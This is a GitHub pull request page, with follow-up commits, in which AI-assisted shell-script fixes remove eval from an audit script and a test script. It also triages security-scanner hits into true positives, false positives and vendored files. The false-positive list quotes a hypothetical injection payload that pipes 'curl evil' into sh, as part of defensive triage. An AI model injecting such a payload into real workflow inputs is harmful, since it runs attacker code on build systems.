fix(scripts): remove eval from rsr-audit and fill-placeholders test (#939) - #1075
Merged
Merged
Conversation
Hypatia content_patterns/eval_in_shell true positives: - rhodium-standard-repositories/rsr-audit.sh: check() took a command string and ran it with `eval "$command"`. Replaced with a `"$@"`-based check() that takes a command and its args directly (shift past the description, exec "$@"), plus a small `not()` helper (mirrors `not_contains` in scripts/propagate-workflow-pins.sh's test suite) for the one negated predicate. Call sites converted from quoted command strings to literal argv: check_dir_exists/check_command_exists pass test/command-v directly; the CI/CD glob-or-file compound check became a tiny named predicate has_ci_config(); the "true" literal checks became the bare `true` command; the two grep -rq checks and the Reversibility test -d check lost one level of backslash escaping (`\\|` -> `\|`) since removing eval removes one string-reparse pass. Verified zero semantic drift: `rsr-audit.sh . --format json|text` and `rsr-audit.sh rhodium-standard-repositories --format json|text` before and after are byte-identical in text output and identical in total_checks/passed_checks/failed_checks/score/compliance_level/exit code (no existing regression test covers this script, so this was the verification method). - scripts/tests/fill-placeholders-test.sh: ck() ran `eval "$2"` on a single-quoted command string. Replaced with a `"$@"`-based ck() that shifts past the description and execs the rest directly; all ~14 call sites dropped their outer single-quotes so the command is a normal argv list. `bash scripts/tests/fill-placeholders-test.sh` before and after both print "14 passed, 0 failed" with exit 0 (log-diffed, identical). False positives (not edited; scanner matches its own detection patterns/comments, no real eval or unverified download present): - setup.sh: both download_then_run_shell hits are on (a) the top-of-file usage-documentation block recommending `curl -o ... && less ... && sh setup.sh` (human-reviewed, never piped, never eval'd by the script itself) and (b) install_just_verified()'s real curl call, which already downloads to a mktemp file and sha256sum -c verifies before any extraction/install (landed in 3079bc1, 2026-08-07, predating this issue's 2026-09-22 triage). - scripts/tests/propagate-workflow-pins-test.sh: both eval_in_shell hits are on comments describing the *absence* of eval ("runs CMD as a real command (no eval)"; "Small eval-free predicates"). The file contains no eval call at all. - .github/workflows/security-gate-pr-target.yml: hits are on (a) a comment illustrating a hypothetical injection payload and (b) the file's own MALICIOUS_PATTERNS bash array, which contains the literal detection regexes as data. Already marked FALSE POSITIVE in .hypatia-baseline.json. - .github/workflows/tag-ruleset-canon.yml: hit is on a comment describing a hypothetical GitHub Actions expression-injection scenario ("a dispatch with limit = `0"; curl evil | sh; #`"). - tests/test_tag_ruleset_canon.sh: hit is on a comment block describing the same hypothetical injection scenario as the workflow above. Skipped (vendored, tracked separately in standards#940): - rhodium-standard-repositories/satellites/palimpsest-license/TOOLS/validation/install.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-dns-discovery.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-http-headers.sh shellcheck (0.11.0) on both changed files: fill-placeholders-test.sh is clean. rsr-audit.sh has only pre-existing warnings in code this change didn't touch (SC2034 SCRIPT_DIR/has_lockfile, SC2126 grep|wc -l) plus SC2329 "never invoked" info on not()/has_ci_config()/ check_command_exists() — a known shellcheck limitation: it does not trace a function name passed as a bare argument into another function's "$@" exec, which is exactly the eval-free pattern this fix introduces. Both not() and has_ci_config() are confirmed invoked at runtime by the before/after diff above; check_command_exists() was already unreferenced dead code prior to this change and is out of scope here. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
Contributor
|
Warning Review limit reachedYou've used all free OSS reviews for now. Wait for the free limit to reset to keep reviewing this public repository. Next included review available in 45 minutes. View limit detailsLimit details: You’ve used the included review currently available. Review configuration: ⚙️ Run configurationConfiguration used: Organization UI Review profile: ASSERTIVE Plan: Advanced Run ID: 📒 Files selected for processing (2)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
hyperpolymath
enabled auto-merge (squash)
September 30, 2026 10:20
This was referenced Sep 30, 2026
hyperpolymath
added a commit
that referenced
this pull request
Sep 30, 2026
…tale #1072 and #1075 changed files under rhodium-standard-repositories/ without regenerating the registry, so `build-registry.sh --check` exits 1 on main. That reds "Registry + topology in sync" and both build-registry-test.sh and build-scorecards-test.sh. And because the test step fails, the "Lock-gate pin is not stale" step is skipped on every PR. Output of `just registry`, one line. Owner ruling D231: regenerate now; moving the registry off .a2ml stays tracked in #1010/#479. Closes #1092. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
hyperpolymath
added a commit
that referenced
this pull request
Sep 30, 2026
…tale #1072 and #1075 changed files under rhodium-standard-repositories/ without regenerating the registry, so `build-registry.sh --check` exits 1 on main. That reds "Registry + topology in sync" and both build-registry-test.sh and build-scorecards-test.sh. And because the test step fails, the "Lock-gate pin is not stale" step is skipped on every PR. Output of `just registry`, one line. Owner ruling D231: regenerate now; moving the registry off .a2ml stays tracked in #1010/#479. Closes #1092. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
hyperpolymath
added a commit
that referenced
this pull request
Sep 30, 2026
…uuid-v7, map roots, canon 2.1.2, docstring calibration (#1088) Restores `standards` main to green. The reds on main and on this PR hold each other in a cycle, so every cure is in this one PR: under the fully-green rule, no smaller PR can pass CI alone. ## What each commit fixes 1. **Lock-gate staging pin bump.** The `ref:` under "Checkout standards for the lock gate" in `governance-reusable.yml` moves to `5f82b635`. `scripts/check-lock-gate-pin-freshness.sh` returns rc=1 on main and rc=0 on this branch. Each tree's own copy of the script was run; running one tree's copy against another tree reads the wrong workflow and passes vacuously. 2. **Registry `source_hash` regeneration** (#1092). #1072 and #1075 changed files under the RSR spec home without regenerating `.machine_readable/REGISTRY.a2ml`, so `build-registry.sh --check` fails. That failure reds Self-tests, and the pin guard step never runs because it comes after the failing suite. The change is one regenerated hash line. Under D231 it is a regeneration only; migrating off the generated file is a later piece of work. 3. **`uuid-v7.yml` hardening.** It adds `timeout-minutes: 10`, a `concurrency` group, and a `push` trigger bounded to `main`. These are the three unfiltered Hypatia Baseline findings on main: missing_timeout_minutes, d_burn_double_trigger, and WH006. 4. **Delete the five unmapped root entries** (D241, cherry-picked and signed from #1097). This cures the map-integrity red that woke on this PR. 5. **Canon PATCH 2.1.1 → 2.1.2.** #1041 added a KNOWN-TENSIONS row under `0-canon/constitution/` without the same-commit bump and sha256 rewrite that `canon.lock` requires. Gate A is path-filtered, so main never ran it and the drift stayed invisible until this PR woke the gate. This commit bumps the version, sets released to 2026-09-30 and the tag to `canon-v2.1.2`, rewrites the constitution hash to `be48496f…`, and adds a header note. The spine's dogfood red was a stale hypatia compile error, fixed upstream at 9d2e6de3. Re-running rsr-template-repo run 36475038466 turned it green. 6. **Fetch the docstring calibration commit by SHA** (#1099). #1073's `docstring-scan-test.sh` calibrates against `1cc72cdc80c9`, PR #1034's pre-squash head, which no clone of main can contain. Self Test on main (run 36741131926) failed on this as well as the stale registry. I read only the first failure, so my earlier claim that this PR cured every main red was wrong. The test now fetches the commit by full SHA on a miss, without `--depth` (which would make a complete clone shallow), and still fails closed if the fetch fails. The branch was rebased onto main 74d2f66 (signed) so the test file is present. Closes #1092 Closes #1094 Closes #1095 Closes #1099 ## Local verification on 6192c92 (rebased on main 74d2f66) | check | result | |---|---| | `bash scripts/run-shell-test-suite.sh` | 63 of 63 test files passed | | `check-lock-gate-pin-freshness.sh origin/main` | PASS | | `build-registry.sh --check` | clean | | `check-canon-lockstep.sh --spine rsr-template-repo@8256a6e --base origin/main` | GATE A PASSED (9 passed, 1 skipped: hypatia oracle not local) | | `check-standards-map.sh` | GATE D PASSED, 124 entries | | **positive control:** one appended byte in `KNOWN-TENSIONS.adoc`, `canon.lock` untouched | GATE A FAILED, naming `constitution` | | docstring calibration: watched failing locally (object absent, 25 passed / 1 failed), then green after the fix | files=2, functions=13, documented=0, skipped=3, coverage=0.00%; clone not shallow afterwards | #1097 is superseded by commit 4. This PR lands under the fully-green rule only when every check is green. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57 --------- Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #939 (the true positives). The false positives go to a hypatia rule fix; the vendored satellites are tracked in #940.
Fixed:
evalremovedrhodium-standard-repositories/rsr-audit.sh:check()raneval "$command". It now runs"$@", and every call site passes a literal argv. Two small predicates were added:not()andhas_ci_config().scripts/tests/fill-placeholders-test.sh:ck()raneval "$2". It now runs"$@".Behaviour is unchanged.
rsr-audit.shgives byte-identical text output before and after on.and onrhodium-standard-repositories, with the same JSON score fields and the same exit codes.fill-placeholders-test.shgives 14 passed / 0 failed both before and after.False positives, not edited (these are the trigger lines for a hypatia rule fix):
setup.sh: a usage comment (curl -o … && less … && sh …, reviewed by a human), andinstall_just_verified(), which already downloads tomktempand runssha256sum -cbefore running anything.scripts/tests/propagate-workflow-pins-test.sh: two comments that contain the word "eval" (# … (no eval),# … eval-free predicates)..github/workflows/security-gate-pr-target.yml: an explanatory comment and theMALICIOUS_PATTERNSdetection-regex array (data)..github/workflows/tag-ruleset-canon.ymlandtests/test_tag_ruleset_canon.sh: comments describing a hypothetical CWE-94 payload.Also, in
.hypatia-baseline.jsonthe notes for the root-levelsetup.sh,rsr-audit.shandscripts/tests/*.shentries reuse the text "vendored satellite demo script pattern". That's wrong for these files; they are live and not vendored.🤖 Generated with Claude Code
https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65